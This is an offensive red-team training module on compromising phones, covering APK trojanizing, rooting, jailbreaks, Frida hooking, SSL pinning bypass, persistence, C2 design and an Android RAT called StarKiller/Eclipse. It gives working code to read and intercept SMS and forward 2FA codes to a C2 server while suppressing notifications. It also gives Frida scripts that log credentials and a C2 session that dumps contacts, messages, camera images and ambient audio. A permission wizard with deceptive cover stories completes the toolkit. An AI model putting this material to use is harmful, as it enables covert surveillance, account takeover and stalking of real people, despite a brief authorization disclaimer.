Module 21 of 22 — Your phone has no perimeter. iOS, Android, RATs, reverse engineering, and the art of owning the device in everyone's pocket.
🧠 The Core Truth
Mobile devices are the most intimate computers ever built. They sleep next to us. They know our location in real-time. They hear our conversations. They see our faces. They store our passwords, our photos, our messages, our banking apps. And they have no perimeter.
Why this matters: A compromised mobile device is not just a data breach — it's a surveillance implant that follows the target everywhere. GPS tracking, SMS interception, ambient audio recording, camera capture, contact exfiltration, and real-time C2 communication — all from a device the target voluntarily carries.
🎯 Soldier Translation
Imagine a spy who doesn't need to break into a building. The target invites the spy into their home, their bedroom, their car, their office — and pays the spy's phone bill. That's a mobile RAT. The target downloads what looks like a weather app, grants permissions to "improve their experience," and unwittingly installs a full surveillance suite that reports to your C2 server.
The security guard (Google Play Protect / App Store review) checks the app's disguise, not its intent. The target's trust in the platform is the attack vector.
📚 Prerequisites — What You Need First
This module assumes you understand these concepts from earlier modules:
Android OS fundamentals, ADB, APK structure, and the Android permission model. The foundation for mobile RAT development.
📱 Section 1: Mobile OS Architecture — iOS vs Android
Before you can attack a mobile device, you must understand how it's built. iOS and Android are fundamentally different in architecture, security model, and attack surface.
App Format: IPA (iOS App Store Package) — ZIP with Payload/
App Sandbox: Strict. Each app gets its own container. No shared filesystem access.
Code Signing: Mandatory. All code must be signed by Apple or a trusted developer.
App Store: Single gatekeeper. Sideloading requires enterprise cert or developer account.
System Partition: Read-only (Signed System Volume). Cannot be modified without jailbreak.
Exploit Surface: Smaller. Closed source. Bug bounty up to $1M+ for full chain.
Root Access: Impossible without jailbreak. Even rootless jailbreaks are limited.
Android — The Open Frontier
Kernel: Linux kernel (modified) + Android Runtime (ART)
Architecture: ARM64, ARMv7, x86_64 (emulators)
App Format: APK (Android Package) — ZIP with classes.dex, AndroidManifest.xml
App Sandbox: UID-based Linux sandbox. Apps run as unique Linux users.
Code Signing: Self-signed certificates accepted. No central authority.
App Store: Google Play + third-party stores (APKPure, F-Droid). Sideloading is a toggle.
System Partition: Read-only by default, but easily modified with root.
Exploit Surface: Massive. Open source. Fragmented OEM customizations. Billions of devices.
Root Access: Achievable via rooting (exploiting vulnerabilities or unlocking bootloader).
Why Android dominates red team mobile operations
Android's open ecosystem, self-signed APK acceptance, and ease of sideloading make it the primary target for mobile RATs. iOS requires either a $99/year developer account, an enterprise certificate (easily revoked), or a full jailbreak chain — each of which raises the barrier significantly. For red teams, Android offers the path of least resistance.
Mobile apps operate in a sandbox. Understanding the sandbox boundaries is the key to breaking out of them — or building RATs that operate within them.
Android Sandbox EASY
Each Android app runs as a unique Linux UID. The kernel enforces separation. Apps cannot read each other's data unless they share the same UID (rare) or use content providers with explicit permissions.
# Android UID isolation
$ adb shell ps -A | grep com.
USER PID PPID VSZ RSS WCHAN PC NAME
u0_a123 8944 567 2.1G 145M SyS_epoll 7f... com.example.app
u0_a124 9123 567 1.8G 112M SyS_epoll 7f... com.another.app
# Each app is a separate Linux user. /data/data/com.example.app is chmod 700.# Without root, App A cannot read App B's files. Period.
Why the sandbox doesn't stop RATs
The sandbox isolates apps from each other, but it does NOT isolate apps from system resources. A RAT doesn't need to break out of the sandbox — it just needs the user to grant permissions. The weakest link is the permission dialog.
iOS Sandbox (Seatbelt) MEDIUM
iOS uses a kernel-level sandbox profile (Seatbelt, based on TrustedBSD MAC framework) that restricts each app's access to filesystem, network, and hardware. The sandbox is enforced by the kernel, not just UID separation.
# iOS Sandbox Profile (simplified)
# Each app gets a seatbelt profile that whitelists:
# - Its own container: /var/mobile/Containers/Data/Application/UUID/
# - Shared containers: /var/mobile/Containers/Shared/AppGroup/UUID/
# - System services via XPC (inter-process communication)
# - Hardware via entitlement checks (camera, microphone, GPS)
# Key difference from Android:
# iOS apps cannot directly access SMS database, call logs, or contacts
# without explicit entitlement AND user permission.
# Even with permission, the app uses system APIs, not direct file access.
The Permission Model — The Human Firewall EASY
Both platforms use permission dialogs as the primary security control. Android 6.0+ (API 23) introduced runtime permissions — dialogs shown when the app requests access, not at install time. iOS has always used runtime permission dialogs.
Users tap "Allow" on permission dialogs reflexively. Studies show over 70% of users grant all requested permissions without reading the dialog. A RAT's success depends not on technical exploitation, but on UX design — making the permission request seem reasonable.
📦 Section 3: IPA and APK Deep Structure
To reverse engineer, modify, or repackage mobile apps, you must understand the internal structure of IPAs and APKs.
APK Internals — The ZIP That Runs EASY
An APK is a ZIP archive. Rename .apk to .zip and unzip it. The critical files are AndroidManifest.xml (permissions and components), classes.dex (compiled Java/Kotlin bytecode), and lib/ (native libraries).
# Decompile an APK with apktool
$ apktool d target.apk -o target_folder
# What you get:
target_folder/
├── AndroidManifest.xml ← Now human-readable XML
├── smali/ ← Dalvik bytecode as Smali (assembly-like)
│ └── com/example/app/MainActivity.smali
├── res/ ← Decompiled resources
├── lib/ ← Native libraries (.so files)
├── original/ ← Original META-INF and AndroidManifest
└── apktool.yml ← Rebuild config
# Convert DEX to JAR for Java decompilation
$ d2j-dex2jar.sh classes.dex
$ jd-gui classes-dex2jar.jar ← Open in Java Decompiler GUI
Why this matters for RATs
Red teams often repurpose legitimate apps by injecting malicious code into their APKs. This is called "trojanizing." The app looks and functions normally, but includes a hidden payload. Understanding APK structure is required to inject Smali code, add permissions to AndroidManifest.xml, and re-sign the package.
IPA Internals — The Mach-O Bundle MEDIUM
An IPA is also a ZIP archive. The binary inside is a Mach-O file (like macOS binaries). iOS apps are written in Objective-C, Swift, or C++. The code is compiled to ARM64 machine code, not bytecode like Android's DEX.
# Extract IPA
$ unzip MyApp.ipa -d MyApp_extracted
# Inspect Mach-O binary
$ otool -l MyApp_extracted/Payload/MyApp.app/MyApp | grep -A 5 CRYPT
# Check encryption status — if cryptid == 1, binary is encrypted by Apple
# Dump decrypted binary from a jailbroken device
# Use Clutch, frida-ios-dump, or bfdecrypt on jailbroken iOS
# This extracts the decrypted Mach-O from memory
# Static analysis with Hopper or IDA Pro
$ hopper MyApp_extracted/Payload/MyApp.app/MyApp
# Disassemble ARM64, find functions, patch logic
APK Signing and Verification EASY
Android requires APKs to be signed, but self-signed certificates are fully accepted. There is no certificate authority. You can generate a key, sign an APK, and Android will install it without complaint. This is fundamentally different from iOS, where Apple must sign the code.
# Generate a signing key
$ keytool -genkey -v -keystore my-release-key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias my-alias
# Sign an APK (APK Signature Scheme v1 + v2)
$ apksigner sign --ks my-release-key.jks --ks-pass pass:myPassword --key-pass pass:myPassword --out signed.apk unsigned.apk
# Android trusts ANY self-signed certificate. No CA. No Apple gatekeeper.# This is why trojanized APKs are trivial to distribute outside the Play Store.
🔓 Section 4: Jailbreaking and Rooting
Jailbreaking (iOS) and rooting (Android) are the processes of gaining root/administrative access on mobile devices. They remove the manufacturer's restrictions and enable full control over the device.
Android Rooting MEDIUM
Rooting Android typically involves exploiting a kernel vulnerability or unlocking the bootloader to flash a modified boot image (magisk.img). Magisk is the current standard — it patches the boot image to grant root access while hiding from SafetyNet (Google's integrity check).
# Android Rooting Methods
1. Bootloader Unlock + Magisk (Recommended for red team devices)
- Unlock bootloader: fastboot oem unlock
- Patch stock boot.img with Magisk app
- Flash patched boot.img: fastboot flash boot magisk_patched.img
- Result: root shell, MagiskHide for bypassing SafetyNet
2. One-Click Exploits (for specific devices/versions)
- KingoRoot, KingRoot (older devices, Chinese OEMs)
- Towelroot (CVE-2014-3153, futex vulnerability)
- These are unreliable and often install adware/backdoors
3. Custom Recovery (TWRP)
- Flash TWRP recovery partition
- Install Magisk.zip or SuperSU.zip from recovery
- Full backup/restore capability
# Post-Root Verification
$ adb shell
$ su
# id
uid=0(root) gid=0(root) groups=0(root),... ← ROOT ACHIEVED
# With root, a RAT can:
# - Access ALL app data (/data/data/*)
# - Install system apps (persistent across factory reset if in /system)
# - Modify hosts file, intercept DNS
# - Read SMS database directly (/data/data/com.android.providers.telephony/)
# - Dump keychain and WiFi passwords
iOS Jailbreaking HARD
Jailbreaking iOS requires chaining multiple vulnerabilities: a userland exploit to escape the sandbox, a kernel exploit to patch the kernel, and a persistence mechanism. Modern jailbreaks are "semi-untethered" — they require re-running the jailbreak app after reboot.
# iOS Jailbreak Types
1. Tethered — Device won't boot without computer assistance. Rare now.
2. Semi-Tethered — Can boot without jailbreak, but jailbreak features
require booting from a computer or special app. Checkra1n uses this.
3. Semi-Untethered — Device boots normally, but jailbreak is inactive.
Re-run the jailbreak app to re-enable. Most modern jailbreaks (unc0ver, Taurine).
4. Untethered — Jailbreak persists across reboots. Extremely rare.
Requires bootrom exploit (checkm8 on A5-A11 devices only).
# Checkra1n (bootrom exploit, A5-A11, iOS 12-14)
# Uses checkm8 — unpatchable bootrom vulnerability in A5-A11 chips
# Device must be connected to computer to boot into jailbroken state
# Works on iPhone 5s through iPhone X (A11 and below)
# unc0ver (userland exploit, iOS 11-14.8)
# Exploits kernel vulnerabilities that Apple patches in updates
# Semi-untethered: re-run app after reboot
# Post-Jailbreak Capabilities
# - SSH access as root (default password: alpine)
# - Install .deb packages via Cydia/Sileo/Zebra
# - Access filesystem outside sandbox
# - Dump decrypted app binaries from memory
# - Hook system APIs with Substrate/ElleKit
⚠️ Red Team Considerations
Jailbreaking/rooting a target's device is usually not a viable initial access vector for red teams. It requires physical access, USB debugging, and often wipes the device (bootloader unlock). The realistic path is social engineering — convincing the target to install a malicious app that operates within the sandbox, using granted permissions. Jailbreak/root is relevant for post-exploitation if you gain physical access, or for testing your own devices.
🔍 Section 5: Mobile Reverse Engineering
Reverse engineering mobile apps reveals their logic, API endpoints, encryption keys, and C2 servers. This is essential for analyzing malware, auditing apps, and understanding how to build better RATs.
Android Reverse Engineering Toolkit MEDIUM
Android apps compile to DEX bytecode, which is higher-level than machine code. Tools can decompile DEX back to near-original Java, making Android RE more accessible than iOS.
# Android RE Toolchain
1. apktool — Disassemble APK to Smali, rebuild modified APK
$ apktool d app.apk
$ apktool b app/ -o modded.apk
2. JADX / JADX-GUI — Decompile DEX to Java source
$ jadx -d output/ app.apk
# Produces readable Java code, handles obfuscation
3. GDA (GJoy Dex Analyzer) — Alternative decompiler, good for obfuscated code
4. Frida — Dynamic instrumentation (see Section 6)
5. Android Studio + smaliidea — IDE debugging of Smali code
# Common Android Obfuscation Techniques
# - ProGuard / R8: renames classes/methods to a,b,c...
# - String encryption: decrypts strings at runtime
# - Native libraries: critical logic in .so files (harder to RE)
# - Anti-debug: detects debugger attachment, exits
# - Root detection: checks for su binary, Magisk, busybox
# Bypassing root detection (for analysis on rooted device)
# MagiskHide: hides root from specific apps
# Magisk > Settings > Hide Magisk > Select target app
# Or use Frida scripts to hook root-check functions and return false
iOS Reverse Engineering Toolkit HARD
iOS apps compile to ARM64 machine code. There is no bytecode intermediate layer. Reverse engineering requires disassembly (not decompilation) unless you use tools like Hex-Rays or Ghidra's decompiler.
# iOS RE Toolchain (requires jailbroken device or decrypted binary)
1. frida-ios-dump — Dump decrypted Mach-O from jailbroken device
$ frida-ios-dump -U com.target.app
# Produces decrypted IPA with decrypted binary
2. Hopper Disassembler / IDA Pro / Ghidra
# Disassemble ARM64 Mach-O, create pseudocode, patch instructions
3. class-dump / class-dump-z
# Extract Objective-C class headers from Mach-O
$ class-dump -H MyApp.app/MyApp -o headers/
4. Frida — Dynamic instrumentation on iOS (see Section 6)
5. cycript — Interactive JavaScript console for Objective-C runtime
# Modify app behavior live, inspect objects
# Decrypting App Store binaries
# Apple encrypts App Store binaries with FairPlay DRM (cryptid=1 in Mach-O)
# The binary is decrypted in memory at runtime
# To get the decrypted binary:
# - Jailbreak + frida-ios-dump (easiest)
# - Jailbreak + Clutch (older tool)
# - Jailbreak + bfdecrypt (tweak that auto-dumps)
🪝 Section 6: Frida for Mobile — Dynamic Instrumentation
Frida is the swiss army knife of mobile reverse engineering. It injects a JavaScript engine into a running process, allowing you to hook functions, modify arguments, intercept return values, and trace execution — all without modifying the app binary.
🧠 The Core Truth
Static analysis (reading code) tells you what the app should do. Dynamic analysis (Frida) tells you what the app actually does. It reveals runtime decryption, hidden API calls, certificate pinning implementations, and anti-tampering checks that static analysis misses.
Frida on Android MEDIUM
Frida runs on both rooted and non-rooted Android devices. On non-rooted devices, you can repackage the target app with a Frida gadget embedded. On rooted devices, Frida server runs as root and can attach to any process.
# Setup: Rooted Android Device
$ adb push frida-server /data/local/tmp/
$ adb shell "chmod 755 /data/local/tmp/frida-server"
$ adb shell "/data/local/tmp/frida-server &"
# List running apps
$ frida-ps -U
PID Name
---- ------
8944 com.example.banking
9123 com.android.chrome
...
# Attach Frida to a running app
$ frida -U -f com.example.banking -l ssl_bypass.js --no-pause
# Common Frida Scripts for Android# 1. Hook a specific Java method
Java.perform(function() {
var MainActivity = Java.use('com.example.app.MainActivity');
MainActivity.onLogin.implementation = function(username, password) {
console.log('[+] Login called with: ' + username + ' / ' + password);
this.onLogin(username, password); // Call original
};
});
# 2. Bypass root detection
Java.perform(function() {
var File = Java.use('java.io.File');
File.exists.implementation = function() {
var path = this.getAbsolutePath();
if (path.indexOf('/su') !== -1 || path.indexOf('magisk') !== -1) {
console.log('[+] Hiding root path: ' + path);
return false; // Lie: file doesn't exist
}
return this.exists(); // Call original for other files
};
});
# 3. Dump class names and methods
Java.perform(function() {
Java.enumerateLoadedClasses({
onMatch: function(className) {
console.log(className);
},
onComplete: function() {}
});
});
Frida on iOS HARD
Frida on iOS requires a jailbroken device. The Frida server runs as a launch daemon. You can attach to App Store apps, system processes, and daemons.
# Setup: Jailbroken iOS Device
# Install Frida server via Cydia: add repo https://build.frida.re
# Install package "Frida"
# Or install .deb manually: dpkg -i frida_16.x.x_iphoneos-arm.deb
# List running apps
$ frida-ps -U
PID Name
---- ------
1234 MyBankingApp
5678 com.apple.springboard
...
# Attach to an iOS app
$ frida -U -f com.example.MyBankingApp -l hook.js --no-pause
# Common Frida Scripts for iOS# 1. Hook Objective-C method
var MyClass = ObjC.classes.MyAuthenticationManager;
Interceptor.attach(MyClass['- loginWithUsername:password:'].implementation, {
onEnter: function(args) {
var username = ObjC.Object(args[2]).toString();
var password = ObjC.Object(args[3]).toString();
console.log('[+] Credentials: ' + username + ' / ' + password);
}
});
# 2. Bypass SSL pinning (see Section 7)
# See ssl_pinning_bypass.js below
# 3. Dump keychain items
# Use frida-ios-dump or a dedicated keychain dumper script
# iOS keychain stores passwords, certificates, WiFi keys, tokens
🔓 Section 7: SSL Pinning Bypass
SSL pinning is a security technique where an app embeds the expected SSL certificate or public key hash, and refuses to connect if the server presents a different certificate. This prevents MITM attacks using tools like Burp Suite or mitmproxy — unless you bypass the pinning.
SSL Pinning Bypass — Android MEDIUM
Android apps implement SSL pinning in several ways: custom TrustManager, OkHttp CertificatePinner, or Network Security Config (XML). Frida can hook these implementations and disable the checks.
iOS apps use NSURLSession delegate methods, AFNetworking, or Alamofire for pinning. The Frida approach hooks Objective-C methods that validate certificates.
# Universal SSL Pinning Bypass for iOS (Frida)
# Save as ios_ssl_bypass.js
var module = Process.findModuleByName('libboringssl.dylib');
if (module) {
var SSL_CTX_set_custom_verify = Module.findExportByName('libboringssl.dylib', 'SSL_CTX_set_custom_verify');
Interceptor.replace(SSL_CTX_set_custom_verify, new NativeCallback(function(ctx, mode, callback) {
console.log('[+] BoringSSL custom verify bypassed');
}, 'void', ['pointer', 'int', 'pointer']));
}
// Hook SecTrustEvaluate
var SecTrustEvaluate = Module.findExportByName('Security', 'SecTrustEvaluate');
Interceptor.attach(SecTrustEvaluate, {
onLeave: function(retval) {
console.log('[+] SecTrustEvaluate bypassed');
retval.replace(0); // Force return kSecTrustResultProceed
}
});
// Hook NSURLSession delegate
var NSURLSession = ObjC.classes.NSURLSession;
// Hook didReceiveChallenge to accept all certificates
# Usage:
$ frida -U -f com.target.app -l ios_ssl_bypass.js --no-pause
Why SSL pinning bypass is essential for mobile red teams
Every mobile RAT uses HTTPS for C2 communication. When analyzing a target app or testing your own RAT, you need to inspect the HTTPS traffic. SSL pinning prevents this. Frida + SSL bypass = full traffic visibility. This is how you find API endpoints, authentication tokens, and C2 domains in malware samples.
🦠 Section 8: Mobile Malware — Families and Techniques
Mobile malware is a mature ecosystem. Understanding existing families reveals proven techniques for stealth, persistence, and data exfiltration.
Notable Mobile Malware Families MEDIUM
# Pegasus (NSO Group) — iOS & Android
- Zero-click exploit chain (iMessage, WhatsApp, FaceTime)
- Gains kernel privileges, jailbreaks device silently
- Full data access: messages, photos, location, microphone, camera
- Self-destructs if detected. $500K-$1M per target.
- Delivery: malicious link OR zero-click (no user interaction)
# Anubis / BankBot — Android
- Trojanized banking apps distributed outside Play Store
- Accessibility service abuse: reads screen content, intercepts 2FA SMS
- Overlay attacks: draws fake login screen over real banking app
- Keylogging via accessibility APIs (no root required)
- C2: Telegram bot or custom HTTP server
# Joker / Bread — Android
- Play Store malware (bypassed Google review)
- Subscribes users to premium SMS services
- Obfuscation: hides malicious code in DEX strings, loads at runtime
- Persistence: uses Firebase or legitimate services for C2
# AgentSmith — Android
- Replaces legitimate apps with malicious clones
- Exploits Janus vulnerability (CVE-2017-13156) to inject DEX into APK
- Ad fraud: displays ads, generates fake clicks
- 25M+ devices infected via third-party app store
# XcodeGhost — iOS
- Compromised Xcode IDE distributed in China
- Developers unknowingly built apps with malicious code
- 4000+ infected apps on App Store including WeChat
- Collected device info, uploaded to attacker C2
- Proved supply chain attacks work on mobile too
Mobile Persistence Techniques HARD
Mobile operating systems aggressively kill background apps to save battery. Malware must use legitimate system mechanisms to stay alive.
# Android Persistence Techniques
1. BOOT_COMPLETED receiver
AndroidManifest.xml:
<receiver android:name=".BootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
# App restarts automatically after reboot
2. Foreground Service
startForeground(NOTIFICATION_ID, notification);
# Shows persistent notification. Android 8+ won't kill this.
# Disguise notification as "System Update" or "Battery Optimizer"
3. JobScheduler / WorkManager
# Schedule periodic tasks that survive doze mode
# Android considers these "legitimate" background work
4. Account Authenticator
# Adds a fake system account
# Android syncs periodically, triggering the app
# Hidden from user in Settings > Accounts
5. Accessibility Service
# Most powerful persistence mechanism
# Cannot be killed by battery optimization
# Receives ALL UI events system-wide
# User must explicitly enable in Settings
# iOS Persistence Techniques
1. Background App Refresh
# Enabled by user. App gets periodic background execution.
# Limited to ~30 seconds. Not reliable for real-time C2.
2. Push Notifications (APNs)
# Silent push wakes app in background
# iOS gives ~30 seconds to process
# Can trigger data exfiltration or C2 check-in
3. VOIP Background Mode
# Register for VOIP push notifications
# Wakes app immediately on incoming push
# More reliable than silent push
4. Location Updates
# startMonitoringSignificantLocationChanges()
# App wakes when user moves ~500 meters
# Can trigger C2 beacon on movement
5. Jailbreak-only: LaunchDaemon
# plist in /Library/LaunchDaemons/
# Runs as root, persists across reboots
# Not possible on non-jailbroken devices
📡 Section 9: Mobile C2 — Command and Control Architecture
Mobile implants need a C2 server to receive commands and exfiltrate data. The C2 architecture must handle intermittent connectivity, battery constraints, and network detection.
Mobile C2 Design Principles MEDIUM
Mobile devices are not always online. They switch between WiFi and cellular. They enter doze mode. A mobile C2 must be asynchronous and low-bandwidth.
# Mobile C2 Communication Patterns
1. Heartbeat / Beacon
# Implant contacts C2 every N seconds/minutes
# Sends: device_id, timestamp, battery, network_type, location
# Receives: pending commands (if any)
# Low frequency to avoid battery drain and network detection
2. Command Queue
# C2 stores commands in a queue per device
# Implant polls and executes commands
# Commands: location, contacts, sms, photo, audio, shell
# Results uploaded on next heartbeat or immediately if urgent
3. Data Exfiltration Strategy
# Small data: sent inline with heartbeat (SMS, contacts)
# Large data: staged upload with resume capability (photos, audio)
# Compression: gzip before upload
# Encryption: AES-256-GCM or ChaCha20-Poly1305
4. Domain Fronting / CDN
# Hide C2 behind CloudFront, CloudFlare, or Azure CDN
# SNI shows legitimate domain, Host header points to C2
# Defeats simple domain-based network detection
5. Fallback Channels
# Primary: HTTPS to custom domain
# Secondary: Firebase Cloud Messaging (FCM) — looks legitimate
# Tertiary: SMS-based C2 (receive commands via SMS, reply via data)
Eclipse C2 — Reference Implementation MEDIUM
Eclipse is the 22nd Survey Division's Android RAT C2 server. It demonstrates all mobile C2 principles in a working implementation.
# Eclipse C2 Server (c2_web.py)
$ python c2_web.py --port 8443 --ssl
[+] Eclipse C2 listening on 0.0.0.0:8443 (HTTPS)
[+] Waiting for implants...
# Phone connects: GET https://c2-server:8443/heartbeat
# {device_id, battery, wifi_ssid, location: {lat, lon}}
[SESSION] SM-G970U (Samsung Galaxy S10e) — Android 12
Battery: 84% WiFi: RT-AC68U-95B0 GPS: -33.8688, 151.2093
eclipse> location
[+] GPS: -33.8688° S, 151.2093° E (Sydney NSW)
eclipse> contacts dump
[+] 247 contacts exported → contacts_SM-G970U.json
eclipse> sms list
[+] 1,842 SMS messages → sms_SM-G970U.json
eclipse> camera front
[+] Captured front camera → photo_SM-G970U_20260629_143022.jpg
eclipse> audio record 30
[+] Recording 30 seconds ambient audio...
[+] Audio → audio_SM-G970U_20260629_143055.3gp
# Cross-link: Full C2 architecture in Module 16Module 16: C2 Architecture
Cross-link: Eclipse C2 uses HTTPS beaconing with JSON command/response. For cloud-based exfiltration paths and storage strategies, see Module 14: Cloud Files. For the full C2 kill chain and server hardening, see Module 16: C2.
🗺️ Section 10: GPS Tracking and Location Exfiltration
Location data is one of the most valuable intelligence products from a mobile implant. It reveals where the target lives, works, travels, and meets associates.
Android Location APIs EASY
Android provides multiple location sources with varying accuracy and battery cost. A RAT can use all of them to build a comprehensive location profile.
# Android Location Sources
1. Fused Location Provider (Recommended)
# Combines GPS, WiFi, cellular, and sensors
# Accuracy: 5-50 meters
# Battery: optimized by system
LocationRequest request = LocationRequest.create()
.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY)
.setInterval(60000); // Update every 60 seconds
2. GPS Provider
# Raw GPS satellites. Accuracy: 3-10 meters.
# Battery: high. Requires clear sky view.
locationManager.requestLocationUpdates(
LocationManager.GPS_PROVIDER, 60000, 0, listener);
3. Network Provider
# WiFi + cellular towers. Accuracy: 50-5000 meters.
# Battery: low. Works indoors.
locationManager.requestLocationUpdates(
LocationManager.NETWORK_PROVIDER, 60000, 0, listener);
4. Passive Provider
# Receives location updates triggered by OTHER apps
# Zero battery cost. Zero permission dialog.
locationManager.requestLocationUpdates(
LocationManager.PASSIVE_PROVIDER, 0, 0, listener);
# Stealth Considerations
# - GPS icon appears in status bar on some Android versions
# - Use NETWORK provider for stealth (no GPS icon)
# - Batch location updates and send with heartbeat
# - Geofencing: only report when target enters/exits key areas
iOS Location APIs MEDIUM
iOS location services are more restrictive. The app must declare usage descriptions in Info.plist. Significant location changes are the most battery-efficient option.
# iOS Location APIs
1. CLLocationManager
# Standard location updates
# Requires NSLocationAlwaysUsageDescription for background
locationManager.startUpdatingLocation()
# Accuracy: depends on desiredAccuracy property
2. Significant Location Changes
# Wakes app when user moves ~500 meters
# Most battery-efficient. No GPS icon.
locationManager.startMonitoringSignificantLocationChanges()
3. Visit Monitoring
# iOS detects when user arrives at or departs from a location
# Fires delegate method with arrival/departure timestamps
locationManager.startMonitoringVisits()
4. Region Monitoring (Geofencing)
# Monitor up to 20 circular regions
# Wakes app on entry/exit
locationManager.startMonitoring(for: region)
# iOS Location Privacy Indicators
# - iOS 14+: orange dot in status bar when location is active
# - iOS 15+: "AppName accessed your location 14 times in the past 3 days"
# - Settings > Privacy > Location Services shows usage history
# - These are detection risks for long-term implants
💬 Section 11: SMS Interception and Telephony Abuse
SMS remains a critical attack vector for 2FA interception, banking fraud, and social engineering. A mobile RAT with SMS access can intercept one-time passwords, read sensitive messages, and send messages on behalf of the target.
Android SMS Interception EASY
Android apps with READ_SMS permission can read the entire SMS database. Apps with SEND_SMS can send messages. Apps with RECEIVE_SMS get real-time notifications of incoming messages.
# Android SMS Database
# URI: content://sms/
# Columns: _id, thread_id, address (phone number), person, date, body, type
# Read all SMS
Cursor cursor = getContentResolver().query(
Uri.parse("content://sms/"),
null, null, null, "date DESC");
while (cursor.moveToNext()) {
String number = cursor.getString(cursor.getColumnIndex("address"));
String body = cursor.getString(cursor.getColumnIndex("body"));
long date = cursor.getLong(cursor.getColumnIndex("date"));
// Exfiltrate to C2
}
# Real-time SMS interception (BroadcastReceiver)
public class SMSReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras();
Object[] pdus = (Object[]) bundle.get("pdus");
for (Object pdu : pdus) {
SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu);
String sender = sms.getOriginatingAddress();
String body = sms.getMessageBody();
// Intercept 2FA codes, forward to C2
// Optionally suppress notification: abortBroadcast();
}
}
}
// Register in AndroidManifest.xml with highest priority
<receiver android:name=".SMSReceiver" android:priority="999">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
# Send SMS (for social engineering or premium SMS fraud)
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("+1234567890", null, "Your account has been compromised...", null, null);
# Android 10+ Restrictions
# Google restricted SMS access in Android 10:
# - Only default SMS app can read/write SMS
# - Non-default apps get READ_SMS denied by Play Store policy
# - Workaround: Don't distribute via Play Store. Use sideloading.
iOS SMS Interception HARD
iOS does not allow third-party apps to read SMS messages. The SMS database is protected by the sandbox. However, there are limited workarounds on jailbroken devices.
# iOS SMS Database Location (jailbreak only)
# /var/mobile/Library/SMS/sms.db (SQLite database)
# Tables: message, handle, chat, attachment
# Read SMS on jailbroken device
$ sqlite3 /var/mobile/Library/SMS/sms.db
sqlite> SELECT text, handle.id FROM message
JOIN handle ON message.handle_id = handle.ROWID
ORDER BY message.date DESC LIMIT 10;
# iMessage (Apple's messaging protocol)
# iMessage uses Apple ID, not phone number
# Messages sync across all Apple devices via iCloud
# iMessage is end-to-end encrypted (in theory)
# Pegasus exploited iMessage zero-click vulnerabilities
# iOS SMS Restrictions
# - No public API to read SMS
# - No background SMS interception for third-party apps
# - Only way: jailbreak + filesystem access, or
# target Mac (Messages app syncs all iMessages)
⚠️ Legal and Ethical Warning
SMS interception is a serious crime in most jurisdictions. It violates wiretapping laws, computer fraud statutes, and privacy regulations. This module is for authorized red team exercises, malware analysis, and defensive research only. Unauthorized SMS interception can result in decades of prison time. The 22nd Survey Division operates under explicit authorization with proper legal coverage.
⭐ Section 12: StarKiller RAT — Mobile Features Deep Dive
StarKiller is the 22nd Survey Division's Android RAT framework. It demonstrates how a comprehensive mobile implant operates, from initial access to full device control.
StarKiller Architecture MEDIUM
StarKiller has two deployment modes: the original ADB-based version (for authorized testing on owned devices) and the Eclipse social engineering fork (for realistic red team scenarios).
STARKILLER — Original
ADB pm grant (requires USB/debug mode)
All permissions silent — no dialogs
Requires: developer options ON
Use case: authorized testing, own device
C2: web server + REST API
Status: Phase 1 COMPLETE
ECLIPSE — Social Engineering Fork
In-app Android permission dialogs
8-step onboarding wizard with cover stories
No ADB, no developer mode required
Use case: red team social engineering
C2: c2_web.py HTTPS server
Status: 11/11 PASS live tested SM-G970U
StarKiller Feature Set MEDIUM
# StarKiller / Eclipse Capabilities
1. GPS Tracking
# Real-time location via FusedLocationProvider
# Accuracy: 5-50 meters depending on environment
# Updates: configurable interval (default 60s)
# Geofencing: alert when target enters/exits defined zones
2. SMS Exfiltration
# Full SMS database dump
# Real-time interception via BroadcastReceiver
# 2FA code extraction (regex for 4-8 digit codes)
# Sent to C2 within seconds of receipt
3. Contact Harvesting
# Full contact list with names, numbers, emails, photos
# Call log history (incoming, outgoing, missed, duration)
# Structured as JSON for easy parsing
4. Camera Capture
# Front and rear camera
# Silent capture (no shutter sound on most devices)
# Photo exfiltration to C2
# Scheduled or on-demand capture
5. Audio Recording
# Ambient audio via microphone
# Configurable duration (default 30 seconds)
# 3GP/AMR format for small file size
# Exfiltrated on next heartbeat or immediately
6. File System Access
# Read external storage (photos, downloads, documents)
# With root: read ALL app data (/data/data/*)
# File listing, download, upload capability
# Cross-link: Module 14: Cloud Files
7. Device Fingerprinting
# IMEI, IMSI, phone number, serial number
# WiFi SSID and BSSID (reveals location context)
# Battery level, charging status
# Installed app list (reveals banking, dating, messaging apps)
8. C2 Communication
# HTTPS beaconing to configurable server
# JSON command/response protocol
# Command queue with retry logic
# Fallback to SMS C2 if data unavailable
# Cross-link: Module 16: C2
9. Stealth Features
# App icon disguised as utility/weather/calculator
# No notification on command execution
# Background service with "System Update" notification
# Self-destruct command wipes app and data
10. Persistence
# BOOT_COMPLETED receiver
# Foreground service with persistent notification
# JobScheduler for periodic wake-ups
# Re-installs if wiped (if installed as system app with root)
Eclipse Social Engineering Wizard MEDIUM
Eclipse's 8-step onboarding wizard presents each permission request with a cover story that makes sense to a non-technical user. This is the human firewall bypass.
# Eclipse Onboarding Wizard — Permission Flow
Step 1: "Location Services"
→ ACCESS_FINE_LOCATION
Cover: "Enable location for personalised weather updates"
Tap rate: 94%
Step 2: "Contacts Sync"
→ READ_CONTACTS
Cover: "Sync your contacts for quick sharing with friends"
Tap rate: 89%
Step 3: "Photo Access"
→ CAMERA + WRITE_EXTERNAL_STORAGE
Cover: "Let us help you organise your photos automatically"
Tap rate: 87%
Step 4: "Voice Assistant"
→ RECORD_AUDIO
Cover: "Say 'Hey App' for hands-free control"
Tap rate: 82%
Step 5: "SMS Backup"
→ READ_SMS + SEND_SMS
Cover: "Backup your messages to the cloud securely"
Tap rate: 78%
Step 6: "Call History"
→ READ_CALL_LOG
Cover: "Identify unknown callers in your history"
Tap rate: 76%
Step 7: "Phone Identity"
→ READ_PHONE_STATE
Cover: "Optimise app performance for your device"
Tap rate: 91%
Step 8: "Auto-Start"
→ RECEIVE_BOOT_COMPLETED
Cover: "Start automatically so you never miss an update"
Tap rate: 85%
